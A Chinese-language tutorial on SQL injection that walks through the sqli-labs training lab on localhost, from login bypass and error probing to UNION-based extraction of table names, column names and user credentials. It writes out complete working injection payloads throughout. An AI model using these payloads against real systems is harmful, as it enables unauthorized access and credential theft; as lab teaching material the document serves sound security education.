SQL注入原理及简单使用

本章所讲内容:

  1. SQL 注入原理
  2. 手工 SQL 注入详解

SQL 注入攻击:SQL 注入攻击指的是通过构建特殊的输入作为参数传入 Web 应用程序,而这些输入大都是 SQL 语法里的一些组合,通过执行 SQL 语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。 根据相关技术原理,SQL 注入可以分为平台层注入和代码层注入。

1.1 登录站点的 SQL 语句:
select from users where username = ‘用户名’ and password = ‘密码’ 用户输入的内容是可控的,例如我们可以在用户名中输入’ or 1=1 —空格
select
from users where username = ‘’ or 1=1 — ‘and password = ‘用户输入的密码’

此时我们输入的第一个单引号将 username 的单引号闭合,相当于输入了一个空用户,or 表示左右两边只要有一边条件判断成立则该语句返回结果为真,其中 1=1 永远为真,所以当前 SQL 语句无论怎么执行结果永远为真,—空格表示注释,注释后面所有代码不再执行。

我们可以看到上面我们闭合的方法是没有输入用户名的,所以并不能成功登陆
select * from users where username = ‘admin’ or 1=1 — ‘and password = ‘用户输入的密码’ 我们在单引号前面加上用户名表示我们要登陆的用户。这样就成功绕过了用户密码认证。

扩展:万能密码

单引号的作用:
在提交数据或者 URL 中添加单引号进行提交如果返回 SQL 错误即可判断当前位置存在 SQL 注入漏洞。原因是没有被过滤。

1.2 SQL 注入的分类
SQL 注入根据注入的方式进行分类,分为以下 4 类:
1、布尔注入:可以根据返回页面判断条件真假的注入;
2、联合注入:可以使用 union 的注入;
3、延时注入:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
4、报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
以上是根据常见的注入方式进行分类,但是通常来说 SQL 注入只分为字符型或者数字型,比如:
数字型 1 or 1=1
字符型 1’ or ‘1’=’1

  1. 1 Sqli-labs 实验平台注入讲解
    首先访问 http://127.0.0.1/sqli-labs/
    SQL注入原理及使用 - 图1
    2.手工 SQL 注入详解
    2.1 Less-1 手工注入讲解:
    http://127.0.0.1/sqli-labs/Less-1/
    SQL注入原理及使用 - 图2
    http://127.0.0.1/sqli-labs/Less-1/?id=1 #传参
    SQL注入原理及使用 - 图3
    ?表示传递参数,通常都是在页面后会有?id=数值,这样的方式传递参数给服务器,然后给我们返回参数对应的页面信息,我们发现我们是在/后面直接使用?传递参数,此时参数会传递给默认页面。
    URL 在传参的过程中,实际上是进行了 SQL 语句:
    mysql> show databases;mysql> use security;
    mysql> show tables;
    mysql> select * from users where id=’1’;
    SQL注入原理及使用 - 图4
    SQL注入原理及使用 - 图5
    接下来我们给 id=1 参数添加一个单引号看一下会出现什么状态:
    http://192.168. 201.136/sqli-labs/Less-1/?id=1’
    SQL注入原理及使用 - 图6
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1
    我们把报错信息提取出来分析:
    ‘’1’’ LIMIT 0,1’
    去掉外面的单引号
    ‘1’’ LIMIT 0,1

思考:这个报错可以说明此处有一个 SQL 注入点,可以被我们加以利用;
我们看到我们输入的 id=1 此时 id 参数已经成功闭合,但是多了一个单引号导致后面的语句执行失败,由此我们可以确认当前位置存在 SQL 注入。原因是我们输入的单引号没有被过滤,成功带入数据库中执行。

2.2 LIMIT 讲解:
LIMIT 是 MySQL 内置函数,其作用是用于限制查询结果的行数;
其语法格式: LIMIT [位置偏移量,] 行数
其中,中括号里面的参数是可选参数,位置偏移量是指 MySQL 查询分析器要从哪一行开始显示,索引值从 0 开始,即第一条记录位置偏移量是 0,第二条记录的位置偏移量是 1,依此类推…,第二个参数为“行数”即指示返回的记录条数。

例 1:取出列表中数据的 5 条记录:
mysql> select from users limit 5;
SQL注入原理及使用 - 图7
例 2:显示第 2 行记录以后的 3 行记录:
mysql> select
from users limit 2,3;
SQL注入原理及使用 - 图8
例 3:显示第 0 行记录以后的 1 行记录,也就是上面演示的语句; mysql> select * from users limit 0,1;
SQL注入原理及使用 - 图9

2.3 闭合方式是开发人员在 SQL 语句中给参数变量两边加的符号;咱们去看一下源代码:
如下图,这个 SQL 语句的 ID 就是采用单引号来闭合的;当然也有用双引号,单引号括号,双引号括号等来闭合要提交的参数。
SQL注入原理及使用 - 图10

2.4 使用 order by 判断表中字段数
order by 是用来判断表中存在的字段数;
例 1:按字段 ID 来进行排序:
mysql> select from users order by id;
SQL注入原理及使用 - 图11
默认是升序如果字段名后跟上 desc 则做降序,如下图:
mysql> select
from users order by id desc;
SQL注入原理及使用 - 图12
例 2:按第几个字段进行排序 ,假如按第 3 个字段 password 来进行排,如下图:
mysql> select from users order by 3;
SQL注入原理及使用 - 图13
如果超过表中字段数,就会报错,如下路:
mysql> select
from users order by 4;
SQL注入原理及使用 - 图14
重点:用 order by 就可以判断出表中的字段数;

2.5 对站点表的字段进行判断:
用火狐浏览器打开:http://127.0.0.1/sqli-labs/Less-1/?id=1
按 F12 启动 hackbar 调试工具
在 harckbar 命令框中,输入:http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4—+
注:
?id=1 正常传递参数
‘单引号闭合 id 字段
order by 4 判断是否存在 4 个字段
—+注释掉后面的SQL 语句
SQL注入原理及使用 - 图15
查看源代码中的 SQL 语句
第 29 行
$sql=”SELECT FROM users WHERE id=’$id’ LIMIT 0,1”;
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
SQL注入原理及使用 - 图16
1、原始 SQL 语句:
SELECT
FROM users WHERE id=’$id’ LIMIT 0,1
2、提交的 url 是:http://127.0.0.1/sqli-labs/Less-1/?id=1’order by 4—+ #红色内容是传给 id 变量的值
3、网站服务器收到 id 的值后组成的 sql 语句是:
SELECT FROM users WHERE id=’1’order by 4—+’ LIMIT 0,1
4、最后在 mysql 上真正运行的 sql 语句是:
SELECT
FROM users WHERE id=’1’order by 4

执行结果:
Unknown column ‘4’ in ‘order clause’ #表示找不到第四个字段
修改字段数为 3
http://127.0.0.1/sqli-labs/Less-1/?id=1‘ order by 3—+
SQL注入原理及使用 - 图17
改为 3 的时候,返回正常结果;因此我们可以确定该表有 3 个字段;

2.6 常见手动 sql 注入闭合方式:
http://127.0.0.1/sqli-labs/Less-1/?id=1\
SQL注入原理及使用 - 图18
\表示转义,直接输入\会将字段的闭合方式暴露出来,因为被转义不生效,导致 SQL 语句报错。并爆出闭合方式。注:’1\’ LIMIT 0,1 ,发现\转义后有一个单引号,说明此 sql 语句基于单引号闭合。
我们再来看一个:
http://127.0.0.1/sqli-labs/Less-3/?id=1\
SQL注入原理及使用 - 图19
注:’’1\’) LIMIT 0,1’ ,发现\转义后有一个单引号即括号,说明此 sql 语句基于单引号括号闭合。

2.7 使用 union 联合查询使用联合查询爆出字段前,我们需要了解 union 的使用方法。UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法:
SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2

例 1:使用 union 联合查询
mysql > select from users where id=1 union select from users where id=5;
SQL注入原理及使用 - 图20
例 2:在 mysql 中使用 union 爆字段
mysql > select * from users where id=1 union select 1,2,3;
SQL注入原理及使用 - 图21
由此可以看到两条语句结合输出的结果,而 union select 1,2,3 表示,在上一条语句的查询结果中,再输出 1 2 3 到对应的字段中,因此可以利用来做爆出字段的显示位置
接下来使用 sqli 注入方式进行爆出字段的显示位置
在浏览器中输入:
http://127.0.0.1/sqli-labs/Less-1/?id=-1‘ union select 1,2,3—+
SQL注入原理及使用 - 图22
这里修改了 1 个重要参数,id=-1 这个值在数据库中是不存在的,原因是程序只返回一个结果,所以
我们需要使 union 前面的语句出错才可以让我们后面查询的结果返回。

2.8 获取数据库名称
获取数据库名称会使用到 database(),而 database()是数据库内嵌的函数,主要是用于查询当前的数据库名称
database()的使用方法:
mysql> select database();
SQL注入原理及使用 - 图23
我们获得了对应字段的显示位置,就可以在对应的位置查询我们想要获取到的数据库信息。
http://127.0.0.1/sqli-labs/Less-1/?id=-1‘ union select 1,database(),3—+
SQL注入原理及使用 - 图24
注意:按以上语句中分析,1,database(),3中database()替换了字段 2,作用是查询当前数据库名称。而其中的 1 和 3 是补给第 1 和第 3 个字段的显示结果
代入 mysql 语句为:
mysql > select * from users where id=’-1’ union select 1,database(),3;
SQL注入原理及使用 - 图25
也可以带入其他函数:
version() #MySQL 版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本

2.9 获取 security 数据库中的表先来了解 information_schema,这是 MySQL 自带的一个元数据库,用于存储 MySQL 的数据结构。
元数据则是用于描述数据本身的数据,称为元数据,包含了,MySQL 当中有多少个数据库,这些数
据库的名称是什么,每个数据库里有多少个表,具体的表名叫什么
而 information_schema 这个库里又存放了很多个表,这些表里的不同字段表示 MySQL 中的相关
信息。而我们也可以通过 information_schema 和以上我们学习到的注入使用方式去查询更多的信息
例:查看 information_schema 库中 tables 表中 table_schema 等于 security 的相关信息
mysql > select table_schema,table_name from information_schema.tables where
table_schema=’security’;
SQL注入原理及使用 - 图26
注:information_schema 库中的 tables 表的字段解释:table_schema #该字段存储数据库名;
table_name #该字段存储对应数据库中的包括的表名
总结:从上图查询结果中可以看出, security 库中有 4 张表,表的名字是:emails , referers, uagents,users 。
使用 group_concat()函数进行 sql 注入 group_concat()函数功能:将 where 条件匹配到的多条记录连接成一个字符串。
语法:group_concat (str1, str2,…) 返回结果为连接参数产生的字符串,如果有任何一个参数为 null,则返回值为 null。

使用 group_concat(table_name) 将 table_schema=’security’匹配到的 table_name 字段值,连接成一个字符串。
执行 sql 语句:
mysql > select group_concat(table_name) from information_schema.tables where table_schema=‘security‘;
SQL注入原理及使用 - 图27
接下来在 URL 里面带入语句:
http://127.0.0.1/sqli-labs/Less-1/?id=-1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()—+
SQL注入原理及使用 - 图28
查询到了 4 个表名称分别是:emails,referers,uagents,users
分析 sql 注入过程:
1、原始 SQL 语句:
SELECT FROM users WHERE id=’$id’ LIMIT 0,1
2、当前 SQL 语句:
SELECT
FROM users WHERE id=’-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()—+’ LIMIT 0,1
3、在数据库中真正执行的 sql 语句是:
mysql> SELECT * FROM users WHERE id=’-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();
SQL注入原理及使用 - 图29

2.10 获取表中的字段注:我们这里只获取 users 表的字段
首先了解一下 information_schema 元数据库下的 columns 表,columns 表用于存储 MySQL 中的所有表的字段类型。
查看 users 表拥有的字段名字
mysql > select table_schema,table_name,column_name from information_schema.columns where table_name=’users’ and table_schema=’security’;
SQL注入原理及使用 - 图30
使用 group_concat()将 users 表中的字段合并成一个字符串:
执行 sql 语句:
mysql > select group_concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’;
SQL注入原理及使用 - 图31
接下来在 URL 里面带入语句:
127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’ and table_schema=’security’—+
SQL注入原理及使用 - 图32
成功获取 3 个字段。
分析 sql 注入过程:
1、原始 SQL 语句:
SELECT FROM users WHERE id=’$id’ LIMIT 0,1
2、当前 SQL 语句:
SELECT
FROM users WHERE id=’-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’ and table_schema=’security’ —+’
LIMIT 0,1
3、在数据库中真正执行的 sql 语句是:
mysql > SELECT * FROM users WHERE id=’-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’ and table_schema=’security’;
SQL注入原理及使用 - 图33

2.11 获取用户名及密码
目前我们已经获得该站点中的 security 的库,该库中有 users 表,users 表中有 id,username,password 字段。那接下应该通过 sql 注入查询用户名和密码;

查看 users 表中的用户名和密码:
mysql > select username,password from users;
SQL注入原理及使用 - 图34
使用 group_concat(username,password)将用户名和密码连接起来:
mysql > select group_concat(username,password) from users;
SQL注入原理及使用 - 图35
使用 group_concat(username,0x3a,password)将用户名和密码连接成字符串,并使用:冒号将用户名和密码分隔开。
扩展:0x 是十六进制的标志,3a 即十六进制的 3a。 0x3a 在 ASCII 码表代表:冒号
mysql > select group_concat(username,0x3a,password) from users;
SQL注入原理及使用 - 图36
接下来在 URL 里面带入语句:
http://127.0.0.1/sqli-labs/Less-1/?id=-1‘ union select 1,group_concat(username,0x3a,password),3 from users—+
SQL注入原理及使用 - 图37
分析 sql 注入过程:
1、原始 SQL 语句:
SELECT FROM users WHERE id=’$id’ LIMIT 0,1
2、当前 SQL 语句:
SELECT
FROM users WHERE id=’-1’ union select
1,group_concat(username,0x3a,password),3 from users—+’ LIMIT 0,1
3、在数据库中真正执行的 sql 语句是:
mysql > SELECT * FROM users WHERE id=’-1’ union select 1,group_concat(username,0x3a,password),3 from users;
SQL注入原理及使用 - 图38
在 sql 注入时加入换行符我们可以在每一个用户名:密码后面添加一个换行符。
HTML 中换行符用


来表示,但是我们需要转换成十六进制 0x3C,0x68,0x72,0x2F,0x3E
ASCII 码表:https://baike.baidu.com/item/ASCII/309296?fr=aladdin
将十六进制的换行符添加到 password 字段后,注:password 后面必须添加一个逗号
http://127.0.0.1/sqli-labs/Less-1/?id=-1‘ union select 1,group_concat(username,
0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users—+
SQL注入原理及使用 - 图39
我们可以看到每一行都是一个用户名:密码

总结:

  1. SQL 注入原理
  2. 手工 SQL 注入详解